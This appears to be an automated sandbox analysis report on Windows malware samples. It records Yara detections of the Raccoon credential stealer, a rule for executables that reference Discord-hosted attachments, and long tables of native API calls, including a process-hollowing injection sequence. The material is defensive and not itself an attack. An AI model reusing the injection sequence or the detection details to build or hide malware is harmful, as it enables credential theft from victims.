Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 0000001F.00000002.570848013.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.458016800.0000000004870000.00000004.00000001.sdmp, type: MEMORY

System Summary:

.NET source code contains very large array initializations

Show sources

Source: DF9C.exe.4.dr, ??????????????/_?????xptkvqfesn.cs

Large array initialization: _?????nacpgkwmie: array initializer size 208904

Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E32A9	22_2_6A9E32A9
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9DE2C5	22_2_6A9DE2C5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4AEF	22_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9CFA2B	22_2_6A9CFA2B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9BEB8A	22_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94EBB0	22_2_6A94EBB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94ABD8	22_2_6A94ABD8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A968BE8	22_2_6A968BE8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C23E3	22_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A309	22_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93AB40	22_2_6A93AB40
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92B090	22_2_6A92B090
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A916800	22_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1002	22_2_6A9D1002
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A830	22_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A948840	22_2_6A948840
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9399BF	22_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E2EF7	22_2_6A9E2EF7
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D67E2	22_2_6A9D67E2
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A942F70	22_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D4496	22_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9435D0	22_2_6A9435D0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A910D20	22_2_6A910D20
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E1D55	22_2_6A9E1D55
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_004368D0	28_2_004368D0
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: 28_2_0041EDCE	28_2_0041EDCE
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00425150	29_2_00425150
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_0042419D	29_2_0042419D
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_0041FAF0	29_2_0041FAF0
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00403340	29_2_00403340
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00414437	29_2_00414437
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00422E27	29_2_00422E27
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_00422F47	29_2_00422F47
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: 29_2_0041FF88	29_2_0041FF88

Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CD0D.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fijbuft.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.20.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.20.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll			Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll			Jump to behavior

Source: 25Kf6vSBoq.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 21.0.C1B2.exe.e80000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.EA8A.exe.fa0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.EA8A.exe.fa0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.2.C1B2.exe.e80000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 20.0.B82B.exe.850000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.C1B2.exe.e80000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.EA8A.exe.fa0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 24.0.EA8A.exe.fa0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 20.0.B82B.exe.850000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.C1B2.exe.e80000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 20.0.B82B.exe.850000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 21.0.C1B2.exe.e80000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 20.0.B82B.exe.850000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\C1B2.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\EA8A.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: C:\Users\user\AppData\Local\Temp\B82B.exe, type: DROPPED	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: String function: 0041D100 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\F4BC.exe	Code function: String function: 004212E0 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: String function: 00410ED0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\DF9C.exe	Code function: String function: 0040FB00 appears 101 times
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: String function: 6A96D08C appears 39 times
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: String function: 6A91B150 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: String function: 6A9A5720 appears 43 times

Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_0040185B Sleep,NtTerminateProcess,	2_2_0040185B
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_00401866 Sleep,NtTerminateProcess,	2_2_00401866
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_0040187A Sleep,NtTerminateProcess,	2_2_0040187A
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_0040163B NtMapViewOfSection,	2_2_0040163B
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_004018D3 NtTerminateProcess,	2_2_004018D3
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_00401884 Sleep,NtTerminateProcess,	2_2_00401884
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_00401888 NtTerminateProcess,	2_2_00401888
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_0040156A NtMapViewOfSection,	2_2_0040156A
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	2_2_004015DB
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_2_004017EA Sleep,NtTerminateProcess,	2_2_004017EA
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_1_0040156A NtMapViewOfSection,	2_1_0040156A
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	2_1_004015DB
Source: C:\Users\user\Desktop\25Kf6vSBoq.exe	Code function: 2_1_0040163B NtMapViewOfSection,	2_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 13_2_02C30110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	13_2_02C30110
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_0040185B Sleep,NtTerminateProcess,	15_2_0040185B
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_00401866 Sleep,NtTerminateProcess,	15_2_00401866
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_0040187A Sleep,NtTerminateProcess,	15_2_0040187A
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_0040163B NtMapViewOfSection,	15_2_0040163B
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_004018D3 NtTerminateProcess,	15_2_004018D3
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_00401884 Sleep,NtTerminateProcess,	15_2_00401884
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_00401888 NtTerminateProcess,	15_2_00401888
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_0040156A NtMapViewOfSection,	15_2_0040156A
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_004015DB NtMapViewOfSection,NtMapViewOfSection,	15_2_004015DB
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_2_004017EA Sleep,NtTerminateProcess,	15_2_004017EA
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_1_0040156A NtMapViewOfSection,	15_1_0040156A
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_1_004015DB NtMapViewOfSection,NtMapViewOfSection,	15_1_004015DB
Source: C:\Users\user\AppData\Local\Temp\6EC5.exe	Code function: 15_1_0040163B NtMapViewOfSection,	15_1_0040163B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_0040181C Sleep,NtTerminateProcess,	22_2_0040181C
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402406 NtEnumerateKey,	22_2_00402406
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00401F25 NtQuerySystemInformation,	22_2_00401F25
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00401828 Sleep,NtTerminateProcess,	22_2_00401828
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_00402431 NtEnumerateKey,	22_2_00402431
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_004017DA Sleep,NtTerminateProcess,	22_2_004017DA
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_004017F8 NtTerminateProcess,	22_2_004017F8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_0040209A NtQuerySystemInformation,	22_2_0040209A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_004017A3 Sleep,NtTerminateProcess,	22_2_004017A3
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9598C0 ZwDuplicateObject,LdrInitializeThunk,	22_2_6A9598C0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959820 ZwEnumerateKey,LdrInitializeThunk,	22_2_6A959820
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959860 ZwQuerySystemInformation,LdrInitializeThunk,	22_2_6A959860
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9599A0 ZwCreateSection,LdrInitializeThunk,	22_2_6A9599A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959600 ZwOpenKey,LdrInitializeThunk,	22_2_6A959600
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95967A NtQueryInformationProcess,LdrInitializeThunk,	22_2_6A95967A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959660 ZwAllocateVirtualMemory,LdrInitializeThunk,	22_2_6A959660
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959780 ZwMapViewOfSection,LdrInitializeThunk,	22_2_6A959780
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94D294 ZwQueryAttributesFile,RtlFreeHeap,ZwClose,RtlFreeHeap,	22_2_6A94D294
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AA90 ZwQuerySystemInformationEx,	22_2_6A95AA90
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A91429E RtlInitUnicodeString,ZwClose,LdrQueryImageFileKeyOption,	22_2_6A91429E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A932280 RtlAcquireSRWLockExclusive,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockExclusive,ZwTerminateProcess,	22_2_6A932280
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B280 ZwWow64DebuggerCall,	22_2_6A95B280
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94DA88 RtlAcquireSRWLockExclusive,RtlImageNtHeader,RtlAllocateHeap,ZwUnmapViewOfSection,ZwClose,RtlReAllocateHeap,	22_2_6A94DA88
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959AB0 ZwWaitForMultipleObjects,	22_2_6A959AB0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94E2BB ZwWaitForAlertByThreadId,	22_2_6A94E2BB
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A911AA0 RtlAllocateHandle,RtlReAllocateHeap,ZwAllocateVirtualMemory,ZwAllocateVirtualMemory,RtlAllocateHeap,	22_2_6A911AA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A945AA0 TpSetPoolMaxThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMaxThreads,	22_2_6A945AA0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9152A5 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwFsControlFile,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,	22_2_6A9152A5
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93FAD0 RtlAcquireSRWLockShared,RtlDllShutdownInProgress,ZwWaitForAlertByThreadId,RtlAcquireSRWLockShared,ZwTerminateProcess,	22_2_6A93FAD0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8ADD RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8ADD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1AD6 ZwFreeVirtualMemory,	22_2_6A9A1AD6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AAC0 ZwQueryWnfStateNameInformation,	22_2_6A95AAC0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AAE0 ZwRaiseException,	22_2_6A95AAE0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959AE0 ZwTraceEvent,	22_2_6A959AE0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A915210 RtlGetCurrentDirectory_U,memcpy,RtlGetCurrentDirectory_U,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,	22_2_6A915210
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8214 RtlAcquireSRWLockExclusive,ZwSetInformationWorkerFactory,RtlReleaseSRWLockExclusive,	22_2_6A9E8214
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959A00 ZwProtectVirtualMemory,	22_2_6A959A00
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94B230 EtwEventWrite,ZwTraceEvent,RtlNtStatusToDosError,EtwEventWrite,	22_2_6A94B230
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959A30 ZwTerminateThread,	22_2_6A959A30
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A918239 RtlInitUnicodeStringEx,ZwQueryValueKey,RtlInitUnicodeStringEx,RtlPrefixUnicodeString,ZwEnumerateKey,ZwOpenKey,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,ZwClose,RtlAllocateHeap,RtlCompareUnicodeString,ZwClose,RtlFreeHeap,ZwClose,	22_2_6A918239
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914A20 RtlGetCurrentServiceSessionId,RtlFreeHeap,ZwClose,RtlReleaseActivationContext,LdrUnloadDll,	22_2_6A914A20
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93A229 ZwAllocateVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwQueryVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlFillMemoryUlong,DbgPrint,DbgPrint,DbgPrint,	22_2_6A93A229
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919240 ZwClose,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlAcquireSRWLockExclusive,RtlFreeHeap,	22_2_6A919240
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A1242 ZwUnmapViewOfSection,ZwClose,ZwClose,ZwClose,ZwClose,ZwClose,	22_2_6A9A1242
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8A62 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8A62
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912B93 TpSetDefaultPoolMaxThreads,ZwDuplicateToken,	22_2_6A912B93
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94939F RtlInitializeCriticalSectionEx,ZwDelayExecution,	22_2_6A94939F
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D138A memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9D138A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E9BBE RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E9BBE
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8BB6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8BB6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A3A0 ZwGetCompleteWnfStateSubscription,	22_2_6A95A3A0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D1BA8 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9D1BA8
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A944BAD RtlAcquireSRWLockExclusive,memset,ZwTraceControl,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	22_2_6A944BAD
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912BC2 ZwOpenThreadToken,ZwSetInformationThread,ZwClose,	22_2_6A912BC2
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959BF0 ZwAlertThreadByThreadId,	22_2_6A959BF0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9123F6 ZwClose,RtlFreeHeap,	22_2_6A9123F6
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A92A3E0 RtlFormatCurrentUserKeyPath,ZwQueryInformationToken,RtlLengthSidAsUnicodeString,RtlAppendUnicodeToString,RtlConvertSidToUnicodeString,RtlFreeUnicodeString,	22_2_6A92A3E0
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9D131B RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9D131B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A914B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory,	22_2_6A914B00
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A945306 ZwReleaseKeyedEvent,	22_2_6A945306
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959B00 ZwSetValueKey,	22_2_6A959B00
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A919335 ZwClose,ZwClose,	22_2_6A919335
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9E8B58 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6A9E8B58
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B48 ZwClose,ZwClose,	22_2_6A943B48
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AB70 ZwReleaseWorkerFactoryWorker,	22_2_6A95AB70
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A8372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString,	22_2_6A9A8372
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A943B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap,	22_2_6A943B7A
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A912B7E ZwSetInformationThread,ZwClose,	22_2_6A912B7E
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95AB60 ZwReleaseKeyedEvent,	22_2_6A95AB60
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9C6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose,	22_2_6A9C6369
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A9A6365 RtlAllocateHeap,ZwQueryVirtualMemory,memcpy,wcsrchr,RtlFreeHeap,RtlAllocateHeap,memcpy,	22_2_6A9A6365
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A93E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	22_2_6A93E090
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95A890 ZwQueryDebugFilterState,	22_2_6A95A890
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A959890 ZwFsControlFile,	22_2_6A959890
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A913880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	22_2_6A913880
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A94A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,	22_2_6A94A080
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95108B ZwClose,	22_2_6A95108B
Source: C:\Users\user\AppData\Local\Temp\CD0D.exe	Code function: 22_2_6A95B0B0 ZwTraceControl,	22_2_6A95B0B0
